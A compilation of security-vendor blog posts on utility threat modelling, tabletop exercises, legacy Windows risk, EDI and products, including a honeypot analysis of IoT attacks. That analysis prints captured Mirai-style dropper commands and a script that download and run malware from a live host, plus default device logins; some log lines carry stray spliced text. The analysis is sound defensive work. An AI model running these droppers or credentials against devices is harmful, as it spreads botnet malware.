Example of Pole Mounted Device Threats Visualized

As a part of our threat modeling work, which we do sometimes as a stand-alone activity or as part of an deeper assessment, we often build simple mind maps of the high level threats we identify. Here is an example of a very simple diagram we did recently while working on a threat model for pole mounted environments (PME’s) for a utility client. 

This is only part of the work plan, but I am putting it forward as a sort of guideline to help folks understand our process. In most cases, we continually expand on the diagram throughout the engagement, often adding links to photos or videos of the testing and results. 

We find this a useful way to convey much of the engagement details with clients as we progress. 

Does your current assessment or threat modeling use visual tools like this? If not, why not? If so, drop me a line on Twitter (@lbhuston) and tell me about it. 

Thanks for reading! 

Pole Mounted Environment Threats

Utility Tabletop Cybersecurity Exercises

Recently, a group of federal partners, comprised of the Federal Energy Regulatory Commission (FERC), North American Reliability Corporation (NERC) and it’s regional entities released their Cyber Planning for Response and Recovery Study (CYPRES). The report was based on a review and analysis of the incident response and recovery capabilities of a set of their member’s cyber security units, and is a great example of some of the information sharing that is increasing in the industry. The report included reviews of eight utility companies’ incident response plans for critical infrastructure environments, and the programs reviewed varied in their size, complexity and maturity, though all were public utilities.

Though the specific tactics suggested in the report’s findings have come under fire and criticism, a few items emerged that were of broad agreement. The first is that most successful programs are based on NIST 800-61, which is a fantastic framework for incident response plans. Secondly, the report discusses how useful tabletop exercises are for practicing responses to cybersecurity threats and re-enforcing the lessons learned feedback loop to improve capabilities. As a result, each public utility should strongly consider implementing periodic tabletop exercises as a part of their cyber security and risk management programs.

Tabletop Exercises from MSI

At MicroSolved, we have been running cyber security tabletop exercises for our clients for more than a decade. We have a proprietary methodology for building out the role playing scenarios and using real-world threat intelligence and results from the client’s vulnerability management tools in the simulation. Our scenarios are developed into simulation modules, pre-approved by the client, and also include a variety of randomized events and nuances to more precisely simulate real life. During the tabletop exercise, we also leverage a custom written gaming management system to handle all event details, track game time and handle the randomization nuances.

Our tabletop exercise process is performed by two MSI team members. The first acts as the simulation moderator and “game master”, presenting the scenarios and tracking the various open threads as the simulation progresses. The second team member is an “observer” and they are skilled risk management team members who pre-review your incident response policies, procedures and documentation so that they can then prepare a gap analysis after the simulation. The gap analysis compares your performance during the game to the process and procedure requirements described and notes any differences, weaknesses or suggestions for improvement.

Target scenarios can be created to test any division of the organization, wide scale attacks or deeply nuanced compromises of specific lines of business. Various utility systems can be impacted in the simulation, including business networks, payment processing, EDI/supply chain, metering/AMI/smart grid, ICS/SCADA or other mission critical systems.Combination and cascading failures, disaster recovery and business continuity can also be modeled. In short, just about any cyber risks can be a part of the exercise.

Tabletop Exercise Outcomes and Deliverables

Our tabletop exercises result in a variety of detailed reports and a knowledge transfer session, if desired. The reports include the results of the policy/procedure review and gap analysis, a description of the simulated incident and an action plan for future improvements. If desired, a board level executive summary can also be included, suitable for presentation to boards, management teams, direct oversight groups, Public Utility Commission and Homeland Security auditors as well.

These reports will discuss the security measures tested, and provide advice on proactive controls that can be implemented, enhanced, matured or practiced in order to display capabilities in future incidents that reflect the ability to perform more rapid and efficient recovery.

The knowledge transfer session is your team’s chance to ask questions about the process, learn more about the gaps observed in their performance and discuss the lessons learned, suggestions and controls that call for improvement. Of course the session can include discussions of related initiatives and provide for contact information exchange with our team members, in the event that they can assist your team in the future. The knowledge transfer session can also be performed after your team has a chance to perform a major review of the reports and findings.

How to Get Started on Tabletop Exercises from MSI

Tabletop exercises are available from our team for cyber security incidents, disaster preparedness and response or business continuity functions. Exercises are available on an ad-hoc, 1 year, 2 year or 3 year subscription packages with frequencies ranging from quarterly to twice per year or yearly. Our team’s experience is applicable to all utility cyber programs and can include any required government partners, government agencies or regulators as appropriate.

Our team can help develop the scope of threats, cyber attacks or emergency events to be simulated. Common current examples include ransomware, phishing-based account compromises, cyber attacks that coincide with catastrophic events or service disruptions, physical attacks against substations or natural gas pipelines, data breach and compromise of various parts of the ICS/SCADA infrastructure. Our team will work with you to ensure that the scenario meets all of your important points and concerns.

Once the scenario is approved, we will schedule the simulation (which can be easily performed via web-conference to reduce travel costs and facilitate easy team attendance) and build the nuances to create the effects of a real event. Once completed, the reporting and knowledge transfer sessions can follow each instance.

Tabletop exercises can go a long way to increasing cybersecurity preparedness and re-enforcing the cybersecurity mindset of your team. It can also be a great opportunity for increasing IT/OT cooperation and strengthening relationships between those team members.

To get started, simply contact us via this web form or give us a call at (614) 351-1237. We would love to discuss tabletop exercises with you and help you leverage them to increase your security posture.

 

WARNING: Migrate Windows Server 2003 Immediately

Believe it or not, we still get queries from a few utility companies that have operational processes locked on Windows Server 2003 as a platform. Most of the time, these are legacy applications associated with some form of ICS device or data management system that they have not been able to afford to replace.

Windows 2003 Server end-of-life searches are still among the most popular searches on our StateOfSecurity.com blog, receiving more than 200 queries most months. Keep in mind, this is an operating system that patches haven’t been released for since 2015. According to Spiceworks, an online community for IT professionals, the Windows 2003 Server operating system still enjoys a market share of 17.9%, though we could not validate the time frames of their claim.

But, just in the last year or so, we have seen it alive and well in natural gas, energy and the communications infrastructures, both foreign and domestic. So, we know it is still out there, and still being used in seemingly essential roles.

I’m not going to lecture you about using a system that is unmatched for 5 years. That’s just common sense. Instead, what I am going to do is make three quick suggestions for those of you who can’t get rid of this zombie OS. Here they are:

1. Install a firewall or other filtering device between the legacy system and the rest of your environment. This firewall should reduce the network traffic allowed to the system down to only specifically required ports and source addresses. It should also restrict all unneeded outbound traffic from the device to anything else in the network or the world. The device should be monitored for anomalies and security IOCs.

2. If the hardware is becoming an issue, as well, consider virtualizing the system using a modern virtualization solution. Then apply the firewalling above. Server 2003 seems to be easily virtualized and most modern solutions can handle it trivially.Hardware failure of many of these aging systems is their largest risk in terms of availability.

3. Eliminate the need AS SOON AS POSSIBLE. Even with the firewalling and filtering, these systems have high risk. You might also consider if you can migrate portions of the services from Windows 2003 to a more recent system or platform. This isn’t always possible, but everything you can move from Windows 2003 to a supported OS is likely to let you crank down your filtering even more.

Lastly, if you’re still trapped on Windows 2003, make sure you review this every quarter with the application owners and management. Keep it on their mind and on the front burner. The sooner you can resolve it, the better. 

If you need more help or advice on risk mitigation or minimization, get in touch. We’d love to help! Just email us at info@microsolved.com and we can connect.

EDI – The Often Overlooked Critical Process in Utilities

EDI (Electronic Data Interchange) is an often forgotten underpinning of many utility companies, even though many of its functions are likely to be critical to the operation. In many states, EDI is a mandated operation for commercial bill pay and meter reading data exchange with third party services. In fact, between the Gas Industry (GISB) and North American Energy (NAESB) Standards Boards, a substantial set of requirements exist for industry use of EDI.

Data

While EDI exists as a specific set of functions for exchanging digital data, it is often managed through third party applications and networks. These operations carry several different threat models, from disruption of service and outages that impact the data availability, to tampering and compromise of the data in transit. As such, it is essential that utilities have performed business function and application specific risk assessment on EDI implementations.

Additionally, many of our clients have performed EDI-focused penetration testing and technical application assessments of their EDI translators and network interconnects. Some clients still utilize a Value Added Network (VAN) or other service provider for EDI transmissions, and MSI can work with your VAN to review their security program and the configuration of your interconnections to ensure maximum security and regulatory compliance.

Lastly, our team has been very successful doing tabletop incident response and disaster recovery/business continuity exercises involving modeling EDI outages, failures and data corruption. Impacts identified in these role playing exercises have ranged from critical outages to loss of revenue.

If you’d like to learn more about our EDI services and capabilities, give us a call at 614-351-1237 or drop us a line at info@microsolved.com. We’d love to talk with you about our nearly 30 years of experience in EDI, information security and critical infrastructure.

 

 

 

Weekly Threat Brief 4/20

Starting today MSI will begin publishing our Weekly Threat Brief! This is a light compilation of cyber articles and highlights. Some articles have been broken down by verticals which include Financial, Business and Retail, Scada, Healthcare and Government/Military. Please take a moment to click on the link and read! Hope you enjoy it!

WTB Apr 16-20 2018

Please provide any feedback to info@microsolved.com

Beyond the firewall – 4 hours of recorded attacks against IOT devices

The graph below shows a distribution, by country, of the attacks seen by a laptop exposed to the open Internet for 4 hours on July 23, 2017.  TCP 23 (telnet) and TCP 1433 (MSSQL) were exposed and attack payloads directed against those services were recorded by honeypots running on those ports. All attacks are listed below together with a discussion of two particular IOT (Internet of Things)  attacks.

The laptop exposure was inadvertent and possibly related to Universal Plug and Play (UPNP) being enabled on the home router.  The laptop happened to be running an HPSS honeypoint agent with fake listeners on several common service ports. The agents send alerts to a central console that records information about the attack in a database and optionally writes to a log.  Those log entries are provided at the end of this post.

Here’s the net message:

Attacks against unsecured IOT devices are a reality – and they are happening right at the Internet boundary of your own home or business.

Do you have an IP-enabled home video camera or similar device?  See if it is on this list of devices known to be attacked:

https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/

Note that events similar to those described below can – and do – happen within the firewall. See our previous post on the use of honeypots to detect the spread of malware within the private internal space of an organization.

If you are not already using some form of honeypot as part of your IDS strategy, consider doing so. They are normally quiet watchdogs – but when they do bark, there really is something going on you need to know about.

==> Oh.. and UPNP?  If that’s enabled on your home router, TURN IT OFF!

Netgear: http://netgear-us.custhelp.com/app/answers/detail/a_id/22686/~/how-to-disable-the-upnp-feature-on-your-netgear-router

Linksys: https://www.linksys.com/us/support-article?articleNum=135071

ASUS:  https://www.ghacks.net/2015/03/24/secure-you-wireless-router/


Here are the details of the attacks seen during that 4-hour window:

The sources of attacks were diverse by country of origin. The attacking systems were almost certainly compromised systems being used by the attackers without the owners awareness, although state-sponsored activity cannot be ruled out.

  • Here is one item of interest:

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015

  • The attacker IP (1.30.116.116 ) is registered in China/Mongolia.

inetnum: 1.24.0.0 – 1.31.255.255
netname: UNICOM-NM
descr: China unicom InnerMongolia province network

  • The attacker is attempting to cause the targeted victim machine to download and execute a shell script

wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh;

  • 185.165.29.111 – the source of the script – is an IP associated with Germany.

inetnum: 185.165.29.0 – 185.165.29.255
netname: AlmasHosting
country: DE

  • The few IP’s with reverse DNS in that /24 are associated with Iran (.ir domain).

host.mlsending.ir (185.165.29.58)
host.mlsender.ir (185.165.29.59)
host.madstoreml.ir (185.165.29.80)

  • Heckz.sh is associated with known malware

https://virustotal.com/en/file/5a5183c1f5fdab92e15f64f18c15a390717e313a9f049cd9de4fbb3f3adc4008/analysis/

  • The shell script – if successfully downloaded and executed , runs

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/mba; chmod +x mba; ./mba; rm -rf mba
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ebs; chmod +x ebs; ./ebs; rm -rf ebs
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ew; chmod +x ew; ./ew; rm -rf ew
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/aw; chmod +x aw; ./aw; rm -rf aw
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ftr; chmod +x ftr; ./ftr; rm -rf ftr
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/er; chmod +x er; ./er; rm -rf er
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/re; chmod +x re; ./re; rm -rf re
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ty; chmod +x ty; ./ty; rm -rf ty
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ke; chmod +x ke; ./ke; rm -rf ke
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/as; chmod +x as; ./as; rm -rf as
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/fg; chmod +x fg; ./fg; rm -rf fg
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/sddf; chmod +x sddf; ./sddf; rm -rf sddf
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/tel; chmod +x tel; ./tel; rm -rf tel

  • The “ew” program is known malware…..

https://virustotal.com/en/file/9685eeef4b7b25871f162d0050c9a9addbcba1df464e25cf3dce66f5653ebeca/analysis/

  • …and likely is associated with a variant of this botnet’s infrastructure:

https://en.wikipedia.org/wiki/Mirai_(malware)

  • Here’s another entry of interest

Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015

  • On the central console this shows as:

  • This is an attempted attack against a specific Chinese vendor’s (XiongMai Technologies) firmware using a login/password that is embedded in that firmware

https://krebsonsecurity.com/2016/10/europe-to-push-new-security-rules-amid-iot-mess/


Summary:

An unfortunate event, for sure. Still, the presence of honeypots on the targeted machine allowed us to capture real-world attack data and learn something of the reality of life beyond the firewall.  The Mirai botnet malware – and its variants – go from being something read about to something actually seen.

Always useful for understanding threats and planning meaningful defense.


The data:

Here are the raw log entries of attacks seen over the 4 hour exposure interval. The ones discussed above and some others of interest in bold.

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:42:47 Alert Data: Connection Received
Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:55 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:56 Alert Data: Connection Received
Jul 23 19:45: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:45:36 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:46: hpoint-2371 received an alert from: 38.133.25.167 on port 23 at 2017-08-06 19:46:42 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:28 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:38 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:39 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:50 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:57: hpoint-2371 received an alert from: 70.79.76.209 on port 23 at 2017-08-06 19:57:21 Alert Data: Connection Received
Jul 23 20:00: hpoint-2371 received an alert from: 222.96.190.71 on port 23 at 2017-08-06 20:00:04 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection ReceivedASUS:
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:53 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:56 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:22 Alert Data: Connection Received
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:44 Alert Data: root#015#012zlxx.#015#012enable#015
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:05 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:15 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:16 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:46: hpoint-2371 received an alert from: 103.253.183.107 on port 23 at 2017-08-06 20:46:31 Alert Data: Connection Received
Jul 23 20:48: hpoint-2371 received an alert from: 119.186.47.97 on port 23 at 2017-08-06 20:48:00 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:15 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at ASUS:2017-08-06 20:50:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:26 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:37 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 21:07: hpoint-2371 received an alert from: 113.53.91.152 on port 23 at 2017-08-06 21:07:14 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 192.249.135.180 on port 23 at 2017-08-06 21:12:15 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:53 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 21:17: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:17:51 Alert Data: Connection Received
Jul 23 21:18: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:18:12 Alert Data: root#015#01212345#015#012enable#015
Jul 23 21:51: hpoint-2371 received an alert from: 85.56.128.151 on port 23 at 2017-08-06 21:51:06 Alert Data: Connection Received
Jul 23 21:54: hpoint-2371 received an alert from: 24.212.74.182 on port 23 at 2017-08-06 21:54:45 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:35 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:58 Alert Data: guest#015#01212345#015#012enable#015
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.here’s the b201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Connection Received
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:59 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:20: hpoint-2371 received an alert from: 31.163.178.165 on port 23 at 2017-08-06 22:20:07 Alert Data: guest#015#012guest#015#012enable#015
Jul 23 22:27: hpoint-2371 received an alert from: 91.122.218.139 on port 23 at 2017-08-06 22:27:09 Alert Data: Connection Received
Jul 23 22:35: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:35:53 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:22 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:39 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:17 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:39 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:53: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:53:36 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:54:09 Alert Data: enable#015#012system#015#012shell#015#012sh#015#012cat /proc/mounts; /bin/busybox JBQVI#015
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:19 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:41 Alert Data: root#015#01212345#015#012enable#015
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:35 Alert Data: Connection Received
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:57 Alert Data: root#015#012xc3511#015#012enable#015
Jul 23 23:02: hpoint-2371 received an alert from: 97.107.83.42 on port 23 at 2017-08-06 23:02:28 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:30 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:40 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:44 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 23:19:20 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 ASUS:23:19:23 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:23: hpoint-2371 received an alert from: 109.96.99.66 on port 23 at 2017-08-06 23:23:37 Alert Data: Connection Received

An Exercise to Increase IT/OT Engagement & Cooperation

Just a quick thought on an exercise to increase the cooperation, trust and engagement between traditional IT and OT (operational technology – (ICS/SCADA tech)) teams. Though it likely applies to just about any two technical teams, including IT and development, etc.

Here’s the idea: Host a Hack-a-thon!

It might look something like this:

  • Invest in some abundant kits of LittleBits. These are like Legos with electronics, mechanical circuits and even Arduino/Cloud controllers built in. Easy, safe, smart and fun!
  • Put all of the technical staff in a room together for a day. Physically together. Ban all cell phones, calls, emails, etc. for the day – get people to engage – cater in meals so they can eat together and develop rapport
  • Split the folks into two or more teams of equal size, mixing IT and OT team members (each team will need both skill sets – digital and mechanical knowledge) anyway.
  • Create a mission – over the next 8 hours, each team will compete to see who can use their smart bits set to design, program and proto-type a solution to a significant problem faced in their everyday work environments.
  • Provide a prize for 1st and 2nd place team. Reach deep – really motivate them!
  • Let the teams go through the process of discussing their challenges to find the right problem, then have them use draw out their proposed solution.
  • After lunch, have the teams discuss the problems they chose and their suggested fix.Then have them build it with the LittleBits. 
  • Right before the end of the day, have a judging and award the prizes.

Then, 30 days later, have a conference call with the group. Have them again discuss the challenges they face together, and see if common solutions emerge. If so, implement them.

Do this a couple times a year, maybe using something like Legos, Raspberry Pis, Arduinos or just whiteboards and markers. Let them have fun, vent their frustrations and actively engage with one another. The results will likely astound you.

How does your company further IT/OT engagement? Let us know on Twitter (@microsolved) or drop me a line personally (@lbhuston). Thanks for reading! 

Introducing AirWasp from MSI!

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For over a decade, HoneyPoint has been proving that passive detection works like a charm. Our users have successfully identified millions of scans, probes and malware infections by simply putting “fake stuff” in their networks, industrial control environments and other strategic locations. 

 

Attackers have taken the bait too; giving HoneyPoint users rapid detection of malicious activity AND the threat intelligence they need to shut down the attacker and isolate them from other network assets.

 

HoneyPoint users have been asking us about manageable ways to detect and monitor for new WiFi networks and we’ve come up with a solution. They wanted something distributed and effective, yet easy to use and affordable. They wanted a tool that would follow the same high signal, low noise detection approach that they brag about from their HoneyPoint deployments. That’s exactly what AirWasp does.

 

We created AirWasp to answer these WiFi detection needs. AirWasp scans for and profiles WiFi access points from affordable deck-of-cards-sized appliances. It alerts on any detected access points through the same HoneyPoint Console in use today, minimizing new cost and management overhead. It also includes traditional HoneyPoints on the same hardware to help secure the wired network too!

 

Plus, our self-tuning white list approach means you are only alerted once a new access point is detected – virtually eliminating the noise of ongoing monitoring. 

 

Just drop the appliance into your network and forget about it. It’ll be silent, passive and vigilant until the day comes when it has something urgent for you to act upon. No noise, just detection when you need it most.

 

Use Cases:

 

  • Monitor multiple remote sites and even employee home networks for new Wifi access points, especially those configured to trick users
  • Inventory site WiFi footprints from a central location by rotating the appliance between sites periodically
  • Detect scans, probes and worms targeting your systems using our acclaimed HoneyPoint detection and black hole techniques
  • Eliminate monitoring hassles with our integration capabilities to open tickets, send data to the SIEM, disable switch ports or blacklist hosts using your existing enterprise products and workflows

More Information

 

To learn how to bring the power and flexibility of HoneyPoint and AirWasp to your network, simply contact us via email (info@microsolved.com) or phone (614) 351-1237.


 

We can’t wait to help you protect your network, data and users!


Clients Finding New Ways to Leverage MSI Testing Labs

Just a reminder that MSI testing labs are seeing a LOT more usage lately. If you haven’t heard about some of the work we do in the labs, check it out here.

One of the ways that new clients are leveraging the labs is to have us mock up changes to their environments or new applications in HoneyPoint and publish them out to the web. We then monitor those fake implementations and measure the ways that attackers, malware and Internet background radiation interacts with them.

The clients use these insights to identify areas to focus on in their security testing, risk management and monitoring. A few clients have even done A/B testing using this approach, looking for the differences in risk and threat exposures via different options for deployment or development.

Let us know if you would like to discuss such an approach. The labs are a quickly growing and very powerful part of the many services and capabilities that we offer our clients around the world! 

State of Security Podcast Episode 5 Available

This is one of my favorite episodes so far! I spend about 45 minutes with Josh Anderson, who riffs on IT and ICS/SCADA security threats, career advice, how he compares his life to characters on TV’s “24” and a whole lot more. Very relaxed, generous in time and content, this interview with one of America’s Premier ICS Security Gurus (I just gave him that title…) is fun and lively. 

Special shout out to Kent King for his mentorship in this episode, as well. 
 
Let us know what you think Twitter. Thanks for listening!